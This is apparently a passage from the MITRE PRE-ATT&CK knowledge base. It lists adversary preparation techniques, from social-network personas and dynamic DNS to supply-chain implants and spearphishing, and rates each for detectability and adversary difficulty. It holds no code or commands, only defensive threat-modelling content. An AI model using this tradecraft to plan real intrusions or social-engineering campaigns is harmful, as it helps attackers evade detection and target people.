Detectable by Common Defenses: No
Detectable by Common Defenses explanation: No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1026 |
Acquire and/or use 3rd party infrastructure services - PRE-T1106
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Hard to differentiate from standard business operations.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1106 |
Obfuscate or encrypt code - PRE-T1096
Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Detecting encryption is easy, decrypting/deobfuscating is hard.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1096 |
Analyze organizational skillsets and deficiencies - PRE-T1074
Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: No access to who is consuming the job postings to know what is being observed.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Job postings have to be made public for contractors and many times have the name of the organization being supported.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1074 |
Distribute malicious software development tools - PRE-T1171
An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1171 |
Acquire or compromise 3rd party signing certificates - PRE-T1109
Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don’t know who issued the certificate or who the author is. (Citation: DiginotarCompromise)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1109 |
Develop social network persona digital footprint - PRE-T1119
Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: The only difference between an adversary conducting this technique and a typical user, is the adversary’s intent - to target an individual for compromise.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1119 |
Use multiple DNS infrastructures - PRE-T1104
A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Requires more planning, but feasible.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1104 |
Identify vulnerabilities in third-party software libraries - PRE-T1166
Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it’s security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google’s Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1166 |
DNSCalc - PRE-T1101
DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1101 |
Compromise of externally facing system - PRE-T1165
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1165 |
Identify supply chains - PRE-T1023
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1023 |
Dumpster dive - PRE-T1063
Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Strong physical security and monitoring will detect this behavior if performed on premises.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Not difficult if waste is placed in an unsecured or minimally secured area before collection.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1063 |
Obtain domain/IP registration information - PRE-T1028
For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Open access to DNS registration/routing information is inherent in Internet architecture.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Proliferation of DNS information makes registration information functionally freely available.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1028 |
Identify business relationships - PRE-T1060
Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1060 |
Anonymity services - PRE-T1083
Anonymity services reduce the amount of information available that can be used to track an adversary’s activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1083 |
C2 protocol development - PRE-T1129
Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: C2 over commonly used and permitted protocols provides the necessary cover and access.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1129 |
Build social network persona - PRE-T1118
For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Performing activities like typical users, but with specific intent in mind.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1118 |
Task requirements - PRE-T1017
Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1017 |
Spearphishing for Information - PRE-T1174
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn’t leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIP+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1174 |
Buy domain name - PRE-T1105
Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka "domain typosquatting" or homoglyphs).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1105 |
Identify technology usage patterns - PRE-T1041
Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Physical observations, OSINT for remote access instructions, and other techniques are not detectable.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1041 |
Identify business relationships - PRE-T1049
Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Made easier by today’s current social media.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1049 |
Runtime code download and execution - PRE-T1172
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to "identify attacks that require connection to a server and dynamic downloading of code" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1172 |
Assess current holdings, needs, and wants - PRE-T1013
Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1013 |
Obtain templates/branding materials - PRE-T1058
Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary may download templates or branding from publicly available presentations that the defender can’t monitor.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1058 |
Dynamic DNS - PRE-T1088
Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1088 |
Spear phishing messages with malicious links - PRE-T1146
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Sending emails is trivial and expected. The adversary needs to ensure links don’t get tampered, removed, or flagged as a previously black-listed site.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1146 |
Hardware or software supply chain implant - PRE-T1142
During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1142 |
Determine secondary level tactical element - PRE-T1021
The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1021 |
Upload, install, and configure software/tools - PRE-T1139
An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1139 |
Assign KITs/KIQs into categories - PRE-T1005
Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1005 |
Analyze application security posture - PRE-T1070
An adversary can probe a victim’s network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This can be done offline after the data has been collected.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1070 |
Targeted social media phishing - PRE-T1143
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender’s have in detecting use of this technique.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1143 |
Obtain Apple iOS enterprise distribution key pair and certificate - PRE-T1169
The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple’s App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1169 |
Determine 3rd party infrastructure services - PRE-T1037
Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1037 |
Identify resources required to build capabilities - PRE-T1125
As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Recruitment is, by its nature, either clandestine or off the record.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1125 |
Friend/Follow/Connect to targets of interest - PRE-T1141
A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Connecting with "friends" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1141 |
Create infected removable media - PRE-T1132
Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1132 |
DNS poisoning - PRE-T1159
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
DNS (cache) poisoning is the corruption of an Internet server’s domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1159 |
Identify web defensive services - PRE-T1033
An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Active service detection may trigger an alert. Passive service enumeration is not detected.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1033 |
Analyze architecture and configuration posture - PRE-T1065
An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This can be done offline after the data has been collected.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Many of the common tools highlight these weakness automatically.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1065 |
Acquire and/or use 3rd party infrastructure services - PRE-T1084
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: 3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1084 |
Determine approach/attack vector - PRE-T1022
The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1022 |
Research visibility gap of security vendors - PRE-T1067
If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Public source external to the defender’s organization.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1067 |
Analyze business processes - PRE-T1078
Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1078 |
Assess security posture of physical locations - PRE-T1079
Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)
Detectable by Common Defenses: Yes
